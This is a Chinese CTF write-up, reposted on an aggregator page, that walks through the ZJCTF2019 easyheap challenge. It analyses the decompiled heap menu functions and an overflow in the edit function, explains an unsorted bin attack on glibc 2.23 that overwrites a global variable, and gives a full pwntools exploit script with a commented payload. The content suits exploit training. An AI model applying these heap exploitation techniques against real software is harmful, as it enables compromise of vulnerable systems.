百航鹿大联训 ZJCTF2019_easyheap

news/2025/11/7 0:51:07/文章来源:https://www.cnblogs.com/Fan-sheng/p/19198005

easy在哪我请问了。
这题没给libc.so.6文件,但是知道是ubuntu 16,可以查一下,对应libc2.23。
拿到可执行文件,先checksec一下。

  • Arch可以看到架构,x86,64位,小端序。
  • RELRO表示重定位保护情况。Partial是比较弱的等级,允许覆写GOT表;Full的话就不能改GOT了。
  • Canary found表示启用了栈金丝雀保护,会在栈帧里放随机的Canary值,简单的栈溢出等错改了Canary就会被干掉。
  • NX表示no execute,数据段(栈、堆等)不能执行。不能把shellcode直接放到栈里然后跳过去执行。
  • PIE表示可执行文件地址随机化。这里没开,说明文件的地址是固定的,函数地址等也是固定的,是很大的利好。但是libc/堆/栈等还是会被 ASLR 随机化,如果需要仍需泄漏。
  • Stripped表示是否剥离符号表。这里没有剥离,那么可以直接通过函数名、变量名等看到地址位置,对实操比较友好。

同样是菜单题,但是发现输4869有一个后门函数,可以拿到system。(buu上是个假后门,要用fastbin attack做,以后有机会再补吧)

if ( v3 == 4869 ){if ( (unsigned __int64)magic <= 0x1305 ){puts("So sad !");}else{puts("Congrt !");l33t();}}

要求magic变成一个比较大的数,暂时不知道怎么做,看接下来的函数。

unsigned __int64 create_heap()
{int i; // [rsp+4h] [rbp-1Ch]size_t size; // [rsp+8h] [rbp-18h]char buf[8]; // [rsp+10h] [rbp-10h] BYREFunsigned __int64 v4; // [rsp+18h] [rbp-8h]v4 = __readfsqword(0x28u);for ( i = 0; i <= 9; ++i ){if ( !*(&heaparray + i) ){printf("Size of Heap : ");read(0, buf, 8uLL);size = atoi(buf);*(&heaparray + i) = malloc(size);if ( !*(&heaparray + i) ){puts("Allocate Error");exit(2);}printf("Content of heap:");read_input(*(&heaparray + i), size);puts("SuccessFul");return __readfsqword(0x28u) ^ v4;}}return __readfsqword(0x28u) ^ v4;
}

和高达那题类似的,创建结构体。没啥特别的。

unsigned __int64 edit_heap()
{int v1; // [rsp+4h] [rbp-1Ch]size_t v2; // [rsp+8h] [rbp-18h]char buf[8]; // [rsp+10h] [rbp-10h] BYREFunsigned __int64 v4; // [rsp+18h] [rbp-8h]v4 = __readfsqword(0x28u);printf("Index :");read(0, buf, 4uLL);v1 = atoi(buf);if ( (unsigned int)v1 >= 0xA ){puts("Out of bound!");_exit(0);}if ( *(&heaparray + v1) ){printf("Size of Heap : ");read(0, buf, 8uLL);v2 = atoi(buf);printf("Content of heap : ");read_input(*(&heaparray + v1), v2);puts("Done !");}else{puts("No such heap !");}return __readfsqword(0x28u) ^ v4;
}

可以修改heap的size和内容。注意到并没有检查修改后size是否超出原size,然而create的时候是比着大小开的。这说明可以做堆溢出。

unsigned __int64 delete_heap()
{int v1; // [rsp+Ch] [rbp-14h]char buf[8]; // [rsp+10h] [rbp-10h] BYREFunsigned __int64 v3; // [rsp+18h] [rbp-8h]v3 = __readfsqword(0x28u);printf("Index :");read(0, buf, 4uLL);v1 = atoi(buf);if ( (unsigned int)v1 >= 0xA ){puts("Out of bound!");_exit(0);}if ( *(&heaparray + v1) ){free(*(&heaparray + v1));*(&heaparray + v1) = 0LL;puts("Done !");}else{puts("No such heap !");}return __readfsqword(0x28u) ^ v3;
}

删除堆。这里把free的指针置空了,没有UAF。


2.23没有tcache的事。考虑unsorted bin attack。
创建三个chunk,0号用于做溢出,1号紧跟在0号后面被溢出(要求大小>=0x80,这样才能进入unsorted bin),2号防止和Top chunk合并。
p &magic可以直接查出来magic的地址0x6020c0。这就是NO PIE和no stripped的好处,不用费力做泄漏。
考虑堆溢出把1号chunk的bk改成&magic-0x10。这样重新取出1号chunk时会执行unlink操作,1号chunk的bk会成为一个fake chunk。取出时,会把main_arena的bk指向该fake chunk,而fake chunk的fd指向main_arena
也就是说,把&magic处的值改成了main_arena。这通常是个相当大的数,可以满足此题的要求。但由于写入值不可控,所以不知道实际生活有啥用()
值得注意的是,比较新的libc(2.28以后?)加入了申请chunk时对双向链表的检查,只改一边是不行的,会导致malloc时崩溃。


然后愉快地写代码吧。

from pwn import *
context.log_level="debug"
io=process("./easyheap")
elf=ELF("./easyheap")
def create(size,content):io.sendlineafter("Your choice :","1")io.sendlineafter("Size of Heap : ",str(size))io.sendlineafter("Content of heap:",content)
def edit(index,size,content):io.sendlineafter("Your choice :","2")io.sendlineafter("Index :",str(index))io.sendlineafter("Size of Heap : ",str(size))io.sendlineafter("Content of heap : ",content)
def delete(index):io.sendlineafter("Your choice :","3")io.sendlineafter("Index :",str(index))
def backdoor():io.sendlineafter("Your choice :","4869")
magic=0x6020c0 #NO PIE,所以是定值
create(0x10,"A"*4) #大小任意(但要保证能溢出),由于有末尾换行符,所以字符数必须严格小于10,不能取等,以下类似
create(0x90,"B"*4) #必须>=0x80
create(0x90,"C"*4) #大小任意
delete(1)
edit(0,0x31,b"A"*0x10+p64(0)+p64(0xa1)+p64(0xaaaaaa)+p64(magic-0x10))
'''
构造溢出payload,值得讲一下
前面0x10是0号chunk的大小,填满就行了
接下来8字节是prev_size,置0。疑似填什么无所谓?
接下来8字节是size,这个必须填对,不然malloc检查的时候会崩溃。
具体值是0x90(申请的大小)+0x10(header大小)+0x1(PREV_INUSE等标志位)=0xa1。当然也可以直接pwndbg里看。
接下来8位是fd。填什么都无所谓。
接下来8位是bk。-0x10是因为把这个当成了fake chunk的开头,会在fd的位置(+0x10)开始写。
'''
create(0x90,"e"*4)#大小必须和之前的1号一样,保证取出的是unsorted bin里的1号
backdoor()
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/958207.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025强网拟态 -- CTF方向 -- Crypto

2025强网拟态 -- CTF方向 -- Crypto2025强网拟态 -- CTF方向 -- Crypto 前言 这次比赛也是完成了为数不多的密码方向的AK,本来想着赛后写一写WP,不过因为学业任务比较繁重,各种课程的实验都没来得及完成。拖着拖着,…

2025.11.7 月考游记 - Amy

前一节体育课十二分钟跑跑寄了遂在自己笔记本上打的比赛。 一种等价类划分问题 模拟。可以使用字典完成。 注意审题,范围不包括m和n,以及要按数字和大小顺序输出。一开始还没注意输入输出格式。T1再次连交两发WA. 以…

CCPC济南站F题目的思考

当你要做数学计数的时候,如果这个数学计数你写式子算不出来,那多半是写dp来计数的。这道题可以想到是做以d为最大的被删除的数,如何去重是关键,我们可以算出kd的倍数个数再从中取个数-1,这个时候分块的意义就体现…

数据采集与融合技术实验二

作业1 在中国气象网(http://www.weather.com.cn)给定城市集的7日天气预报,并保存在数据库。 一、实验完整代码 from bs4 import BeautifulSoup from bs4 import UnicodeDammit import urllib.request import sqlite…

AE基本流程

--本篇导航--软件设置合成(创建合成、预合成、替换合成)界面及工作流程 工作流程:创建合成,导入外部素材或直接在AE中制作,在AE中创建合成和子合成、编辑素材、调整参数、创建关键帧、调整播放曲线速度、不断播放…

软件工程学习日志2025.11.7

【每日学习笔记】朴素贝叶斯实战:如何用机器学习挑选好西瓜? 今天在复习机器学习时,遇到了一个特别实用的案例——基于西瓜特征的好瓜判断。这个例子完美展示了朴素贝叶斯算法在实际问题中的应用,一起来记录一下这…

python-方法

2025.11.6 1.def foo(a, b=2, *args, **kwargs):print(a, b, args, kwargs)foo(1, 3, 4, 5, x=6, y=7)输出为 1 3 (4, 5) {x: 6, y: 7} 以上代码定义了一个函数 foo,它有三个参数 a、b 和 *args,以及一个关键字参数 …

ai agent 编程元宇宙复兴

1.根据提示输入“开始游戏”来强制触发开场白2.根据自身的基础选择不同模式,前三个模式是依次递增的难度,结合剧情给人沉浸式体验,第四个模式是提供极速简单的学习教程,剥离了大部分故事背景3.选择好模式后就可以开…

第17天(简单题中等题 二分查找)

打卡第十七天 耗时≈一小时 明天继续

[AI/LLM] 解读 Qwen 系列大模型

1 Qwen 系列模型解读Qwen 系列模型在架构、性能、多语言支持等方面不断演进,不同版本特性差异明显,且不同参数规模的模型对硬件需求也有所不同。以下是 Qwen1.x、2.x、2.5、3 系列模型的特性及差异,以及其硬件需求的…

折腾笔记[35]-屏幕四周显示蓝色边框提示自动操作

使用python在屏幕四周显示蓝色边框提示正在自动操作.摘要 使用python在屏幕四周显示蓝色边框提示正在自动操作. 前言 本文目的是分享人工踩坑经验, AI搜索引擎可以更快给出正确结果(用于投喂AI😂). 讨论 自动驾驶蓝色…

基于几何直觉理解牛顿迭代法

在数值计算领域,牛顿迭代法(Newtons method)是一个经典而强大的工具。 然而在学习它时,我总觉得许多网上的教程在解释其原理时有些“隔靴挠痒”——它们详细展示了迭代公式 “是什么”(What)以及 “如何用”(Ho…

Swift 和 Tesseract OCR 解析验证码

环境准备 1.1 安装 Swift 更多内容访问ttocr.com或联系1436423940 如果你使用的是 macOS,Swift 已经预装在系统中。可以通过以下命令检查 Swift 版本:swift --version 如果你使用的是 Linux,可以安装 Swift: sudo …

牛顿迭代法:用几何直觉理解方程求根

在数值计算领域,牛顿迭代法(Newtons method)是一个经典而强大的工具。 然而在学习它时,我总觉得许多网上的教程在解释其原理时有些“隔靴挠痒”——它们详细展示了迭代公式 “是什么”(What)以及 “如何用”(Ho…

CRT弹窗接收用户文本输入

利用CRT登陆设备执行命令时,某些字段在多个命令中重复出现时。可以编写VBS脚本,使用弹窗的形式接收特定字段,然后自动化执行命令。如网络设备批量化console开局时,可以通过此种方法导入设备配置文件。 例如:批量设…

2025年11月学习机品牌推荐榜:松鼠AI以黑马姿态崛起!

在教育数字化加速的 2025 年,AI 学习机已成家庭学习刚需工具,但单一学习机普遍陷入 “诊断浮于表面、练习缺乏靶向、过程无人督导” 的精准学困境。据艾媒咨询《2025 年中国智能平板学习机十大品牌》榜单显示,作业帮…

What is difference between credit memo and subsequent credit in SAP

In SAP, a credit memo adjusts both the quantity and value of an original invoice, often used for full returns or significant overcharges, while a subsequent credit only adjusts the value of an existing…

Dictionary选型

Dictionary FrozenDictionary ReadOnlyDictionary ConcurrentDictinary FrozenDictionary 创建成本高,适合花成本一次创造,后续高频率使用 ReadOnlyDictionary 字典的视图。不能增删元素和更新Value. 作为返回的API供…